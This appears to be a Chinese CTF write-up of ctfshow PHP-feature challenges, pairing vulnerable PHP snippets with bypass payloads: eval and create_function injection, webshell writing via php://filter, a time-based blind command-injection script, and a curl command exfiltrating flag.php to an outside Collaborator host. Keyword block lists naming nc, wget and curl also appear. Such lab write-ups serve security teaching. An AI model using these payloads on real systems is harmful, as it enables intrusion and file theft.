您现在的位置是:首页 > 技术教程 正文

ctfshow-php特性

admin 阅读: 2024-03-16
后台-插件-广告管理-内容页头部广告(手机)

大佬文章

intval 的绕过

正则匹配

sha1 和 md5 的绕过

php 运算符优先级

php://fliter 的各种过滤器

正则匹配的回溯

php 正则匹配最大回溯

linux 的 curl命令用法

无回显 rce 的总结

命令执行总结

  • 本文中引用的所有文章都在上面了,感谢各位大佬!

web96

if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • ./ 表示当前目录,故 u=./flag.php 即可

web97

if (md5($_POST['a']) === md5($_POST['b']))
  • 1
  • md5 函数传入数组时候会返回 NULL,故传入两个数组即可

web99

<?php highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } >
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 源码中 in_array函数 没有第三个参数(严格检查),这样只会进行弱类型比较,不会检查数据类型。

因此会将如 60shell.php 识别为 60 后再进行检查。所以令 n=60shell.php,之后写入木马,多刷新几遍即可

web100

<?php highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • php 运算符优先级:&& > || > = > and > or

所以检查时候只要 v1 是数字,然后利用 v2 和 v3 来注释掉中间的 ctfshow 即可

web101

比上一题多过滤了好多

  • ReflectionClass类:可以报告一个类的有关信息

直接 echo new Reflectionclass('ctfshow'); 即可

web102

highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • php5 中 is_numberic 可以识别 16 进制,而 php7 不行

考虑 v1=hex2str(十六进制转码),这样就可以把任意的代码通过 v2 写入指定文件了

只不过对 v2 有 is_numbertic 检查十分讨厌,只有 <?=`cat *`; 经过 base64 编码后的字符串满足条件

考虑 v3=php://filter/wrrite=convert.base64-decode/resource=1.php,之后访问 1.php 即可

web105

include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; } foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • $$key 在 php 中相当于 $($key)(比如说 $key=a的情况下 $$key 相当于 $a)

这样 get 请求为 x=flag,post 请求为 error=x 即可

复盘时看到了一种有意思的解法,只发送 get请求:suces=flag&flag=,这样子会直接输出 $suces,从而得到 flag

web106

  • sha1 和 md5 的绕过

web108

include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c']===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • ereg 函数存在 %00 截断的漏洞

因此直接 ?c=%00778 即可

web109

highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

php 原生类利用

  • __toString:当一个对象被当作字符串对待的时候,会触发这个魔术方法

需要找到含有 __toString 方法的原生类,之后令 v2=system('cat flag') 即可输出

原代码为 $v2(),意思是将 v2 的结果当作函数名调用所以没有影响

web110

大概比上面那个多过滤了好多符号,反正括号和引号是不能用了

  • FilesystemIterator:文件系统遍历器

    getcwd:获取当前路径

通过以上两个的结合,可知 flag 的名字,之后直接访问即可

web111

  • GLOBALS:引用全局作用域中可用的全部变量

web112

  • php://fliter 的各种过滤器

当然,这题可以不用过滤器

web113

highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • is_file 函数漏洞:函数处理目录长度有某个限制,超过这个限制即可

/proc/self/root 是指向根目录的连接,多次重复这个即可

web126

error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; echo $a[1]; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } }else{ echo "hacker"; } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • $server

    pause_str:将字符串转化为多个变量

    assert

$_SERVER['argv'] 可以读取 get 传参的内容。考虑和 pause_str 一起使用,将传入的参数解析成一个数组即可(或者和 assert 一起使用)

web127

  • $_SERVER['QUERY_STRING'] 不会进行 urldecode 而 $_GET 会,所以用 url 编码绕过即可

web128

$f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • gettext():返回字符串的函数

    get_defined_vars():返回由所有已定义变量所组成的数组

_() 可以代替 gettext,这样就绕过了对第一个参数的检查

web131

include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  1. php 正则匹配:

    • 贪婪模式:匹配结果出现多种情况时,选择最长的那个

    • 懒惰模式:匹配结果出现多种情况时,选择最短的那个(由 ? 修饰)

  2. 正则匹配的回溯:正则匹配时会对匹配成功的字串进行压栈,以便于失配后的状态回溯

  3. php 正则匹配最大回溯:当压栈数量超过 php 设定最大值时,会直接停止匹配

题目中正则表达式 +? 会出现最大回溯超过设定值的问题,如果在字符串 36Dctfshow 前加上好多其他的字符,会导致 preg_match 返回 false 从而达到绕过的效果

web132

  • php 逻辑运算符短路:

    false && ... 中 && 后面的不会执行

    true || ... 中 || 后面的不会执行

web133

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • linux 的 curl命令用法

考虑上传 `$F`,其中反引号是 shell_exec() 的缩写,这样就可以实现对 $F 的自我调用,从而达到命令执行

构造 $F 前六位为 `$F%20`;,这样相当于执行 eval(shell_exec($F););。然后在这六位后面加上想要执行的命令即可

发现这题是无回显 rce,考虑将 flag 外带。在 burpsuite 上的 collaborator 插件申请一个子域名,之后用 curl -F hungry=flag.php [子域名] 这样的语句就能把 flag.php 发送到自己的服务器上了

web135

if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 无回显 rce 的总结

过滤的不严,直接用类似于 ca''t flag.php > 1.txt 的命令就能把 flag.php 写入到其他文件中

web136

function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • linux tee 命令:感觉和 > 的作用差不多

    linux xargs 命令:主要是和管道一起使用,将管道左侧的标准输入转化为命令行输入

    linux sed 命令:文本修改工具

标准解法使用 tee 命令替换 >,将所需执行的命令写入其他文件中并读取

还有一个很有意思的解法是直接对源码进行修改

ls | xargs sed -i "s/die/echo/"

ls | xargs sed -i "s/exec/system/"

大概意思是对于目录下的所有文件,把文件中的 die 转化为 echo,exec 转化为 system,之后直接命令执行即可

web139

web136 的加强版,这里没有写的权限了

考虑时间盲注,这个是我的判断语句(其中 th 是所求字符串的第几个字符,c 是可能的字符集):
if [ `cat /f149_15_h3r3|args| awk \"NR==1 \"| cut -c {th}` == \"{c}\" ];then sleep 2;fi

粘上脚本

import requests import time import string all_str = string.ascii_letters + string.digits + "\{\}_-<?>" print(all_str) url = "http://49c10546-c240-4770-9a4d-6344ac375b3e.challenge.ctf.show/?c=" def decode(line, th): for c in all_str: payload = f"if [ `cat /f149_15_h3r3|xargs| awk \"NR=={line} \"| cut -c {th}` == \"{c}\" ];then sleep 2;fi" try: requests.get(url + payload, timeout = 0.5) except: return c return " " if __name__ == '__main__': print(requests.get(url=url).elapsed.total_seconds()) line = 1 length = 100 for i in range(1, line + 1): print(f"line {i} begin!") ans = "" for j in range(1, length + 1): ans = ans + decode(i, j) print(ans) #ctfshow 7e3cc34b-cd5d-4bbc-8250-39c7720c6188
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

web140

  • php 弱类型比较

web147

highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  1. 命令执行总结:文章里面介绍了 create_function 函数的注入

  2. php 所有原生函数都在 \ 命名空间中

考虑 create_function 注入:

ctf = \create_function

show = }system("cat flag");/*

即可

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索